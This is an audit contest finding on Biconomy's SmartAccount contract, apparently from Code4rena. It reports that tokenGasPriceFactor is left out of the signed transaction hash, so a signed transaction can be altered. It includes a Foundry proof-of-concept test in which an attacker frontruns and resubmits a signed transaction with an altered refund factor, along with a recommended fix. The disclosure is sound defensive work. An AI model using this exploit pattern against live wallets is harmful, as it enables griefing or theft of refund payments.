`tokenGasPriceFactor` in `FeeRefund` struct can be malleable in calls to `execTransaction`

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L424-L446

Vulnerability details

The execTransaction function present in the SmartAccount contract is susceptible to a malleability attack.

This is due to the fact that the encodeTransactionData function, which is used to encode the transaction data that is part of the hash used to verify the signature, does not include the refundInfo.tokenGasPriceFactor property.

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L424-L446

function encodeTransactionData(
    Transaction memory _tx,
    FeeRefund memory refundInfo,
    uint256 _nonce
) public view returns (bytes memory) {
    bytes32 safeTxHash =
        keccak256(
            abi.encode(
                ACCOUNT_TX_TYPEHASH,
                _tx.to,
                _tx.value,
                keccak256(_tx.data),
                _tx.operation,
                _tx.targetTxGas,
                refundInfo.baseGas,
                refundInfo.gasPrice,
                refundInfo.gasToken,
                refundInfo.refundReceiver,
                _nonce
            )
        );
    return abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator(), safeTxHash);
}

As a result, this property can be modified to any value and the signature will still be considered valid. This allows an attacker to frontrun the transaction, modify the tokenGasPriceFactor value, and resubmit the transaction with the same signature.

Impact

The tokenGasPriceFactor property is used in the handlePayment function to adjust the payment value when the refund is made using ERC20 tokens:

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L288-L289

payment = (gasUsed + baseGas) * (gasPrice) / (tokenGasPriceFactor);
require(transferToken(gasToken, receiver, payment), "BSA012");

The value of tokenGasPriceFactor is used as a dividing factor to correct the gas calculation according to the token being used. This can potentially be exploited in two ways:

1. A griefer can modify the tokenGasPriceFactor parameter to a high value (e.g. type(uint256).max), which will significantly reduce the payment amount sent to refundReceiver. This is because tokenGasPriceFactor is the denominator in the division, and increasing its value will cause the result to approach zero.

2. A bad actor (possibly the refundReceiver) can modify the tokenGasPriceFactor parameter to a lower value to increase the payout. For example, if tokenGasPriceFactor = 10, the attacker could set tokenGasPriceFactor = 1 to receive a 10x increase in the payout. This is because decreasing the tokenGasPriceFactor value will increase the result payment amount, since it is the dividing factor.

PoC

This test illustrates the case of a griefer that frontruns the transaction and sets tokenGasPriceFactor = type(uint256).max which has the effect of nullifying the transfer, as the value will be 0.

Note: this test needs to be executed by setting a gas price. For example:

forge test -vvv --match-test=test_SmartAccount_MalleableRefundReceiver --gas-price=10

contract MockToken is ERC20 {
    constructor ()
        ERC20("TST", "MockToken") {
    }

    function mint(address sender, uint amount) external {
        _mint(sender, amount);
    }
}

contract Foo {
    function foo() external returns (uint256) {
        return 42;
    }
}

contract AuditTest is Test {
    bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;

    uint256 bobPrivateKey = 0x123;
    uint256 attackerPrivateKey = 0x456;

    address deployer;
    address bob;
    address attacker;
    address entrypoint;
    address handler;

    SmartAccount public implementation;
    SmartAccountFactory public factory;
    MockToken public token;

    function setUp() public {
        deployer = makeAddr("deployer");
        bob = vm.addr(bobPrivateKey);
        attacker = vm.addr(attackerPrivateKey);
        entrypoint = makeAddr("entrypoint");
        handler = makeAddr("handler");

        vm.label(deployer, "deployer");
        vm.label(bob, "bob");
        vm.label(attacker, "attacker");

        vm.startPrank(deployer);
        implementation = new SmartAccount();
        factory = new SmartAccountFactory(address(implementation));
        token = new MockToken();
        vm.stopPrank();
    }

    function buildSignature(SmartAccount wallet, Transaction memory _tx, FeeRefund memory refundInfo, uint256 _nonce, uint256 privateKey) internal returns (bytes memory) {
        bytes32 domainSeparator = wallet.domainSeparator();

        bytes32 safeTxHash =
            keccak256(
                abi.encode(
                    ACCOUNT_TX_TYPEHASH,
                    _tx.to,
                    _tx.value,
                    keccak256(_tx.data),
                    _tx.operation,
                    _tx.targetTxGas,
                    refundInfo.baseGas,
                    refundInfo.gasPrice,
                    refundInfo.gasToken,
                    refundInfo.refundReceiver,
                    _nonce
                )
            );

        bytes memory encoded = abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator, safeTxHash);
        bytes32 hash = keccak256(encoded);

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, hash);

        return abi.encodePacked(r, s, v);
    }

    function test_SmartAccount_MalleableRefundReceiver() public {
        vm.startPrank(bob);

        address proxy = factory.deployWallet(bob, entrypoint, handler);
        SmartAccount wallet = SmartAccount(payable(proxy));

        // Load Bob's wallet with some balance
        token.mint(address(wallet), 1 ether);

        // Deploy a random contract and simulate a call to this contract by Bob.
        // fundReceiver is the recipient of the refund.
        Foo foo = new Foo();
        address fundReceiver = makeAddr("fundReceiver");

        // fundReceiver has 0 balance
        assertEq(fundReceiver.balance, 0);

        // Build and sign transaction
        Transaction memory tx = Transaction(
            address(foo), // to
            0, //value,
            abi.encodeWithSelector(Foo.foo.selector), //data
            Enum.Operation.Call, // operation
            100_000 //targetTxGas
        );
        FeeRefund memory feeRefund = FeeRefund(
            20_000, // uint256 baseGas;
            10, // uint256 gasPrice; //gasPrice or tokenGasPrice
            1, // uint256 tokenGasPriceFactor;
            address(token), // address gasToken;
            payable(fundReceiver) // address payable refundReceiver;
        );
        uint256 batchId = 0;
        uint256 nonce = 0;

        bytes memory signature = buildSignature(wallet, tx, feeRefund, nonce, bobPrivateKey);

        vm.stopPrank();

        // Now attacker frontruns the transaction, modifies the tokenGasPriceFactor parameter
        // and resubmits the transaction
        vm.startPrank(attacker);

        FeeRefund memory attackerFeeRefund = FeeRefund(
            feeRefund.baseGas,
            feeRefund.gasPrice,
            type(uint256).max, // change tokenGasPriceFactor
            feeRefund.gasToken,
            feeRefund.refundReceiver
        );

        wallet.execTransaction{gas: 250000}(tx, batchId, attackerFeeRefund, signature);

        // By using a high tokenGasPriceFactor the payment is 0
        assertEq(fundReceiver.balance, 0);
    }
}

Recommendation

Add refundInfo.tokenGasPriceFactor to the encoding that is used to build the hash:

  function encodeTransactionData(
      Transaction memory _tx,
      FeeRefund memory refundInfo,
      uint256 _nonce
  ) public view returns (bytes memory) {
      bytes32 safeTxHash =
          keccak256(
              abi.encode(
                  ACCOUNT_TX_TYPEHASH,
                  _tx.to,
                  _tx.value,
                  keccak256(_tx.data),
                  _tx.operation,
                  _tx.targetTxGas,
                  refundInfo.baseGas,
                  refundInfo.gasPrice,
                  refundInfo.gasToken,
                  refundInfo.refundReceiver,
+                 refundInfo.tokenGasPriceFactor,
                  _nonce
              )
          );
      return abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator(), safeTxHash);
  }

[c4-judge]

gzeon-c4 marked the issue as duplicate of #492

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory